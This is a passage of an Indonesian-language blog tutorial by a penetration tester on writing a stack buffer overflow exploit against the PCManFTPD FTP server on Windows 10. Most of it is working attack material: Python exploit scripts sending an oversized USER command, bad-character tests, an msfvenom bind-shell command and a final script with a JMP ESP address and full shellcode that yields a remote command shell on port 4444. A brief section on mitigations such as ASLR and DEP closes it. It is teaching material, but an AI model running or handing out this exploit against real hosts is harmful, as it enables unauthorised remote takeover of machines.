Karena kita akan menggunakan DLL milik sistem operasi, maka eksploit ini akan mengalami masalah kompatibilitas, artinya eksploit ini hanya akan berjalan pada PCManFTPD yang berjalan di sistem operasi Windows 10 Enterprise Evaluation versi 1909 build 18363.836.

Menentukan 4 bytes yang menimpa EIP

Setelah kita mendapatkan instruksi JMP ESP kita masih harus menentukan karakter A keberapakah yang menimpa EIP dari sekitar 5000 karakter A pada skrip 1.py di atas.

Di manakah 4 bytes yang menimpa EIP?

Untuk menentukannya kita bisa menggunakan tool dari Metasploit yang sudah ada di Kali Linux. Tool pattern_create.rb akan menciptakan rangkaian kombinasi karakter yang memiliki pola, rangkaian karakter ini yang akan kita kirimkan sebagai ganti karakter A sebelumnya. Ketika rangkaian karakter ini menimpa EIP, kita dapat menggunakan tool pattern_offset.rb untuk mencari jumlah karakter ke berapakah yang menimpa EIP. Berikut cara penggunaannya:

kali@kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000
Hasil karakter acak dari Metasploit

Salin sejumlah rangkaian tersebut dan masukkan ke dalam skrip python 1.py lalu simpan dengan nama 2.py.

#!/usr/bin/python
import socket,sys,time,os
target = '172.16.165.133'
junk = b"isikan dengan 5000 rangkaian karakter acak di atas"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()

Jalankan skrip 2.py dan kali ini perhatikan pada alamat EIP

EIP berisi karakter dalam hex 43376F43

Kita dapat menggunakan tool pattern_offset.rb untuk menghitung berapa karakter yang diperlukan untuk mencapai EIP. Berikut cara penggunannya:

kali@kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 5000 -q 43376F43

Tool pattern_offset.rb mengeluarkan hasil 2001, hal ini berarti untuk menimpa EIP, dibutuhkan sebanyak 2001 karakter A lalu 4 bytes EIP dan 2994 karakter A sisa sesuai dengan 5000 buffer yang kita kirimkan. Jika digambarkan dalam bentuk diagram:

2005 karakter A untuk menimpa EIP

Untuk memastikannya, kita dapat mengirimkan skrip berikut (yang akan saya simpan menjadi 3.py):

#!/usr/bin/python
import socket,sys,time,os
target = '172.16.165.133'
size = 5000
junk = b"A" * 2001            # jumlah karakter untuk mencapai EIP
junk +=b"BBBB"                # karakter ini akan menimpa EIP
junk +=b"C" * (size-len(junk)) # sisa buffer
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()
Memastikan jarak ke alamat EIP

Setelah file 3.py dijalankan kita bisa melihat pada gambar di atas sudah sesuai dengan diagram sebelumnya. Setelah ini kita bisa mengganti EIP yang sebelumnya diisi dengan karakter BBBB menjadi alamat JMP ESP dari SHELL32.dll.

Mencari karakter yang ditolak (bad chars)

Dalam proses mengirimkan karakter-karakter ke sebuah program, ada kalanya karakter tersebut tidak dapat diproses oleh program karena satu dan lain hal (misal karena sebuah logika pemrograman, kondisi dan penentuan karakter masukan, dll). Tidak ada bad chars yang pasti, hal ini memaksa pembuat eksploit untuk mencari karakter-karakter yang ditolak tersebut. Namun selama saya membuat eksploit, terdapat 5 karakter yang hampir sering dianggap sebagai bad chars, berikut karakter-karakter tersebut dalam heksa:

  • 00 atau null bytes, karakter ini dianggap mengakhiri sebuah string, sehingga tidak dapat digunakan
  • 0A atau line feed, ditandai dengan karakter \n
  • 0D atau carriage return, ditandai dengan karakter \r
  • FF atau Form Feed, ditandai dengan karakter \f
  • 2F atau garis miring, ditandai dengan karakter /
  • 20 atau spasi, ditandai dengan karakter spasi

Untuk mencari karakter-karakter bad characters, kita bisa melemparkan karakter 0x01 sampai 0xFF lalu kita perhatikan karakter-karakter tersebut di memori stack. Jika salah satu karakter tersebut berubah atau tidak ada, ada kemungkinan karakter tersebut merupakan karakter bad chars. Untuk menghasilkan karakter 0x01-0xFF bisa menggunakan python berikut

#!/usr/bin/python
import sys
for x in range(1,256):
   sys.stdout.write("\\x"+'{:02x}'.format(x))

atau kalau malas, bisa salin deretan karakter berikut:

badchars = b" "
badchars+= b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
badchars+= b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars+= b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
badchars+= b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars+= b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
badchars+= b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars+= b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
badchars+= b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars+= b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
badchars+= b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars+= b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
badchars+= b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars+= b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
badchars+= b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars+= b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
badchars+= b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Untuk mengujinya, segera perbarui skrip 3.py yang sudah diperbarui dengan badchars lalu dikirimkan ke PCManFTPD server. Berikut skrip 4.py sebagai pembaruan dari skrip 3.py.

#!/usr/bin/python
import socket,sys,time,os
bc = b""
bc += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
bc += b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
bc += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
bc += b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
bc += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
bc += b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
bc += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
bc += b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
bc += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
bc += b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
bc += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
bc += b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
bc += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
bc += b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
bc += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
bc += b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
target = '172.16.165.133'
size = 5000
junk = b"A" * 2001
junk +=b"\xcc\xcc\xcc\xcc" # \xcc = kode breakpoint
junk +=b"C" * 4
junk +=bc
junk +=b"\xcc" * (size-len(junk))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()

Pada baris 25, isi dari EIP saya isikan dengan \xcc yang berarti breakpoint untuk kode atau biasa dikenal dengan INT3. Jika diperhatikan setelah breakpoint, saya menaruh 4 bytes karakter C pada baris 26. Karakter C ini hanya jeda yang perlu ditambahkan agar ESP langsung menunjuk ke junk += bc di baris ke 27. Setelah itu pada baris ke 28, saya juga menaruh breakpoint sebagai sisa buffer. Setelah file 4.py kita jalankan, proses seharusnya berhenti di EIP karena breakpoint. Lalu jika kita klik kanan pada register ESP – pilih Follow in Dump, kita bisa lihat pada jendela keluaran memori (memory dump) bahwa terdapat badchars setelah karakter 0x09. Seharusnya setelah 0x09 adalah 0x0a, namun karakter tersebut berubah menjadi 0x0d. Kondisi ini biasanya disebabkan oleh ditolaknya karakter 0x0a atau disebut sebagai badchars.

Menemukan karakter 0x0a sebagai badchars

Untuk menemukan semua badchars, kita harus memperbarui variabel badchars dan membuang karakter yang dianggap badchars.

Karakter badchars berikutnya adalah 0x0d

Setelah mengulang proses di atas baris per baris, saya menemukan bahwa karakter badchars yang ditolak oleh memori adalah 0x0a, 0x0d, 0x00.

Semua karakter masuk kecuali 0x0a, 0x0d, 0x00

Setelah kita menemukan semua badchars saatnya membuat shellcode yang dapat mengambil alih sistem operasi.

Shellcode dengan MsfVenom

Untuk menghasilkan shellcode kita bisa menggunakan tool dari Metasploit bernama msfvenom. Tool ini akan berusaha menghasilkan shellcode sesuai payload yang ada seperti bind shell, reverse shell, atau sekedar command execution.

Bind shell

Shellcode bind shell adalah shellcode yang mengeksekusi perintah pada sistem operasi untuk “melempar” command prompt ke port tertentu yang ditentukan. Akibatnya sistem target akan membuka port tertentu tersebut dan ketika kita melakukan koneksi ke port tersebut, command prompt (atau disebut juga system shell) sistem target akan diberikan ke kita.

Gambaran shellcode bind shell
Reverse shell

Kebalikan dari shellcode bind shell, shellcode reverse shell mengeksekusi perintah pada sistem operasi untuk melakukan koneksi ke port yang ditentukan penyerang, lalu mengirimkan command prompt/system shell sistem target ke port tersebut. Dari sisi penyerang harus membuka port agar dapat menerima command prompt/system shell target.

Gambaran shellcode reverse shell

Untuk keperluan percobaan ini, kita akan menggunakan shellcode bind shell. Cara menghasilkan shellcode bind shell dengan msfvenom:

kali@kali:~$ msfvenom -p windows/shell_bind_tcp -b "\x00,\x0a,\x0d" -f python -v sc
Menggunakan msfvenom untuk menghasilkan shellcode bind shell

Apabila kita tidak menentukan opsi port (LPORT), msfvenom akan memberikan port 4444 sebagai port standar. Opsi pada msfvenom di atas dapat dijelaskan begini:

  • -p yang berarti payload yg dipilih adalah windows/shell_bind_tcp, Metasploit memiliki puluhan payload yang dapat digunakan
  • -b yang berarti membuang karakter badchars
  • -f yang berarti mengeluarkan dalam format kode python
  • -v yang berarti memasang variabel, dalam hal ini semua shellcode dilabeli variabel sc.

Karena kita sudah sampai pada tahap memasang shellcode, sekalian kita pasangkan juga alamat JMP ESP pada posisi EIP supaya terlihat proses eksekusi eksploitnya. Saya juga menambahkan NOP sled sebelum shellcode agar ada sedikit ruang untuk memastikan shellcode tidak bercampur dengan karakter sebelumnya (4 bytes karakter C). Kita perbarui skrip 4.py dan kita simpan menjadi 5.py

#!/usr/bin/python
import socket,sys,time,os
# msfvenom -p windows/shell_bind_tcp -b "\x00,\x0a,\x0d" -f python -v sc
# x86/fnstenv_mov chosen with final size 350
# Payload size: 350 bytes
# badchars are 00,0a,0d
sc =  b""
sc += b"\x6a\x52\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13"
sc += b"\x21\x37\x8e\x97\x83\xeb\xfc\xe2\xf4\xdd\xdf\x0c\x97"
sc += b"\x21\x37\xee\x1e\xc4\x06\x4e\xf3\xaa\x67\xbe\x1c\x73"
sc += b"\x3b\x05\xc5\x35\xbc\xfc\xbf\x2e\x80\xc4\xb1\x10\xc8"
sc += b"\x22\xab\x40\x4b\x8c\xbb\x01\xf6\x41\x9a\x20\xf0\x6c"
sc += b"\x65\x73\x60\x05\xc5\x31\xbc\xc4\xab\xaa\x7b\x9f\xef"
sc += b"\xc2\x7f\x8f\x46\x70\xbc\xd7\xb7\x20\xe4\x05\xde\x39"
sc += b"\xd4\xb4\xde\xaa\x03\x05\x96\xf7\x06\x71\x3b\xe0\xf8"
sc += b"\x83\x96\xe6\x0f\x6e\xe2\xd7\x34\xf3\x6f\x1a\x4a\xaa"
sc += b"\xe2\xc5\x6f\x05\xcf\x05\x36\x5d\xf1\xaa\x3b\xc5\x1c"
sc += b"\x79\x2b\x8f\x44\xaa\x33\x05\x96\xf1\xbe\xca\xb3\x05"
sc += b"\x6c\xd5\xf6\x78\x6d\xdf\x68\xc1\x68\xd1\xcd\xaa\x25"
sc += b"\x65\x1a\x7c\x5f\xbd\xa5\x21\x37\xe6\xe0\x52\x05\xd1"
sc += b"\xc3\x49\x7b\xf9\xb1\x26\xc8\x5b\x2f\xb1\x36\x8e\x97"
sc += b"\x08\xf3\xda\xc7\x49\x1e\x0e\xfc\x21\xc8\x5b\xfd\x29"
sc += b"\x6e\xde\x75\xdc\x77\xde\xd7\x71\x5f\x64\x98\xfe\xd7"
sc += b"\x71\x42\xb6\x5f\x8c\x97\x30\x6b\x07\x71\x4b\x27\xd8"
sc += b"\xc0\x49\xf5\x55\xa0\x46\xc8\x5b\xc0\x49\x80\x67\xaf"
sc += b"\xde\xc8\x5b\xc0\x49\x43\x62\xac\xc0\xc8\x5b\xc0\xb6"
sc += b"\x5f\xfb\xf9\x6c\x56\x71\x42\x49\x54\xe3\xf3\x21\xbe"
sc += b"\x6d\xc0\x76\x60\xbf\x61\x4b\x25\xd7\xc1\xc3\xca\xe8"
sc += b"\x50\x65\x13\xb2\x96\x20\xba\xca\xb3\x31\xf1\x8e\xd3"
sc += b"\x75\x67\xd8\xc1\x77\x71\xd8\xd9\x77\x61\xdd\xc1\x49"
sc += b"\x4e\x42\xa8\xa7\xc8\x5b\x1e\xc1\x79\xd8\xd1\xde\x07"
sc += b"\xe6\x9f\xa6\x2a\xee\x68\xf4\x8c\x7e\x22\x83\x61\xe6"
sc += b"\x31\xb4\x8a\x13\x68\xf4\x0b\x88\xeb\x2b\xb7\x75\x77"
sc += b"\x54\x32\x35\xd0\x32\x45\xe1\xfd\x21\x64\x71\x42"
target = '172.16.165.133'
size = 5000
junk = b"A" * 2001
junk +=b"\x27\x7E\x1B\x77" #JMP ESP 0x771B7E27 dari SHELL32.DLL
junk +=b"C" * 4
junk +=b"\x90" * 16
junk +=sc
junk +=b"\xcc" * (size-len(junk))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print("[i] Mengirim eksploit ...")
s.recv(1024)
print("[i] USER AAAA...")
s.send(b"USER "+junk+b"\r\n")
s.close()

Mungkin kita sudah sangat percaya diri dengan skrip yang kita buat sehingga kita tidak perlu melakukan debug lagi, tapi sebaiknya kita tetap menjalankan skrip di atas melalui debugger. Berikut ini langkah-langkahnya:

  • Jalankan aplikasi PCManFTPD dan Olly Debugger, lalu attach process PCManFTPD2.exe di Olly Debugger
  • Pilih tombol E dan pilih modul shell32.dll, lakukan pencarian alamat JMP ESP 0x771B7E27 lalu lakukan breakpoint pada alamat tersebut dengan menekan tombol F2. Breakpoint ditandai dengan berubahnya warna alamat tersebut.
  • Eksploit siap dijalankan
Breakpoint pada alamat JMP ESP di 0x771B7E27 (SHELL32.DLL)

Selanjutnya jalankan skrip 5.py, seharusnya proses berhenti di EIP yang menunjuk ke alamat 0x771B7E27.

Proses eksekusi berhenti di EIP

Dari gambar di atas dapat kita lihat bahwa EIP sudah mengarah ke alamat JMP ESP di alamat 0x771B7E27. Apabila kita tekan F7 (step into) kita akan dibawa ke ESP yang sudah berisi NOP sled.

Proses eksekusi berlanjut ke NOP sled

Jika kita teruskan proses eksekusi F7, CPU akan mengeksekusi NOP sled sebanyak 16 bytes sebelum mencapai shellcode bind shell. Proses ini jika teruskan akan sampai pada proses loop yang sebenarnya merupakan proses dekode dari shellcode tersebut.

Proses loop pada alamat 0x0019ED04

Kita bisa melihat proses dekode dengan cara melakukan klik kanan pada alamat 0x0019ED06 lalu pilih Follow in Dump. Pembaca dapat menekan F7 secara terus menerus untuk melihat proses dekode tersebut.

Untuk mempercepat proses dekode, kita bisa memasang breakpoint pada alamat 0x0019ED06. Tekan F2 pada alamat tersebut lalu tekan F9 (Run) untuk mencapai breakpoint.

CLD sebagai awalan shellcode hasil dekode

Ketika proses dekode selesai, instruksi selanjutnya adalah CLD (clear direction flag) yang merupakan instruksi untuk menghapus DF pada EFLAGS Registers, proses ini diperlukan untuk memastikan penunjuk string otomatis bertambah pada setiap operasi string selanjutnya.

Apabila kita lanjutkan proses instruksi tersebut dengan menekan F9, pada mesin Windows 10 seharusnya membuka port 4444 (port standar karena kita tidak menentukan opsi LPORT pada msfvenom). Kita bisa memeriksanya menggunakan netstat.

Port 4444 terbuka akibat dari shellcode bind shell.

Kita bisa segera melakukan koneksi ke port 4444 menggunakan Netcat dari mesin Kali Linux

Koneksi ke port 4444 pada target

W00t! Kita mendapatkan akses ke sistem target melalui kerentanan stack-based overflow. Kita bisa mencobanya kembali tanpa debugger untuk memastikan skrip eksploit bekerja dengan baik.

Eksploitasi final terhadap PCManFTPD server

w00t lagi! Setelah membaca tulisan ini, silakan mencobanya pada aplikasi lain yang ada di exploit-db.com. Selamat mencoba!

Pada tulisan berikutnya, saya akan membahas bagaimana kita bisa menyiasati Structured Exceptions Handler (SEH) yang ada pada Windows.

Proteksi terhadap Buffer Overflow

Pemanfaatan atas kerentanan buffer overflow sudah tercatat sekitar 30 tahun silam, tepatnya sekitar tahun 1988 ketika worm Morris memanfaatkan kerentanan buffer overflow untuk menginfeksi komputer. Sejak saat itu beberapa compiler menerapkan proteksi untuk mencegah buffer overflow seperti -fstack-protector pada GCC dan /GS pada Microsoft Visual Studio. Microsoft juga menerapkan SafeSEH (Structured Exception Handling) sebagai proteksi akibat penyalahgunaan SEH (akan dibahas pada tulisan berikutnya)

Selain proteksi dari sisi compiler terdapat juga proteksi dari sisi Windows seperti ASLR (Address Space Layout Randomization) yang mengacak base address setiap program atau modul ketika program atau modul tersebut dimuat. Ada juga Data Execution Prevention (DEP) yang mencegah eksekusi pada proses memori, sehingga mencegah penulisan kode pada proses memori. Proteksi terakhir dari Microsoft yaitu penerapan Windows Defender Exploitation Guard (WDEG) yang terdiri dari

  • Attack Surface Reduction (ASR)
  • Network protection
  • Controlled folder access
  • Exploit protection (pengganti EMET)
    • Control Flow Guard (CFG)
    • Arbitrary Code Guard (ACG)
    • Export Address Filtering (EAF)
    • StackPivot mitigation
    • Code Integrity Guard
    • dll

Penjelasan mengenai proteksi-proteksi di atas dapat dilihat lebih detail pada tautan berikut:

Para peneliti kerentanan sampai saat ini ada yang sudah berhasil melewati proteksi-proteksi di atas. Tulisan saya selanjutnya akan membahas sebagian dari teknik-teknik melewati proteksi seperti SafeSEH, ASLR, dan DEP.

Referensi

modpr0be
modpr0be

Posisi saya saat ini sebagai direktur dan pemilik PT Spentera, sebuah perusahaan yang fokus dalam bidang penetration test, incident response, intrusion analysis and forensic investigation.

Saya juga berkontribusi untuk repositori eksploit Metasploit Framework sebagai pengembang kode eksploit. Saat ini memegang sertifikasi dari Offensive Security Certified Professional (OSCP), Offensive Security Certified Expert (OSCE), ISO/IEC ISMS 27001: 2013 Lead Auditor/Auditor, GIAC Certified Intrusion Analyst (GCIA), dan Offensive Security Exploitation Expert (OSEE).

Jika ingin menghubungi saya dapat melalui email bisnis di tom at spentera dot id atau pribadi di me at modpr0 dot be

Articles: 64

One comment

Leave a Reply to Membangun Eksploitasi Windows Bagian 1: Perkenalan dengan buffer overflow di Windows – Blog Teknis modpr0beCancel Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.